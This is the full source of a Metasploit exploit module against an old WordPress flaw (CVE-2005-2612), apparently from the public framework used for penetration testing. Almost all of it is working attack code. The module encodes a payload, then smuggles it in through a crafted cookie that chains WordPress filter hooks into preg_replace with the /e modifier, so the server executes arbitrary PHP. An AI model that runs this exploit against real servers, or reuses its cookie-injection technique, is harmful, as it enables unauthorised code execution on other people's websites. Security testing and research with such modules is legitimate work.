WordPress cache_lastpostdate Arbitrary Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'WordPress cache_lastpostdate Arbitrary Code Execution',
      'Description'    => %q{
          This module exploits an arbitrary PHP code execution flaw in the WordPress
        blogging software. This vulnerability is only present when the PHP 'register_globals'
        option is enabled (common for hosting providers). All versions of WordPress prior to
        1.5.1.3 are affected.
      },
      'Author'         => [ 'str0ke <str0ke[at]milw0rm.com>', 'hdm' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2005-2612'],
          ['OSVDB', '18672'],
          ['BID', '14533'],
          ['WPVDB', '6034']
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Compat'      =>
            {
              'ConnectionType' => 'find'
            },
          'Space'       => 512
        },
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        => [[ 'Automatic', { }]],
      'DisclosureDate' => '2005-08-09',
      'DefaultTarget' => 0))

    register_options(
      [
        OptString.new('URI', [true, "The full URI path to WordPress", "/"]),
      ])
  end

  def exploit

    enc = payload.encoded.unpack('C*').map { |c| "chr(#{c})"}.join('.') + ".chr(32)"
    str = Rex::Text.encode_base64('args[0]=eval(base64_decode('+enc+')).die()&args[1]=x')
    data =
      "wp_filter[query_vars][0][0][function]=get_lastpostdate;wp_filter[query_vars][0][0][accepted_args]=0;"+
      "wp_filter[query_vars][0][1][function]=base64_decode;wp_filter[query_vars][0][1][accepted_args]=1;"+
      "cache_lastpostmodified[server]=//e;cache_lastpostdate[server]="+str+
      ";wp_filter[query_vars][1][0][function]=parse_str;wp_filter[query_vars][1][0][accepted_args]=1;"+
      "wp_filter[query_vars][2][0][function]=get_lastpostmodified;wp_filter[query_vars][2][0][accepted_args]=0;"+
      "wp_filter[query_vars][3][0][function]=preg_replace;wp_filter[query_vars][3][0][accepted_args]=3;"

    # Trigger the command execution bug
    res = send_request_cgi({
        'uri'      => normalize_uri(datastore['URI']),
        'cookie'   => data
      }, 25)

    if (res)
      print_status("The server returned: #{res.code} #{res.message}")
    else
      print_status("No response from the server")
    end
  end
end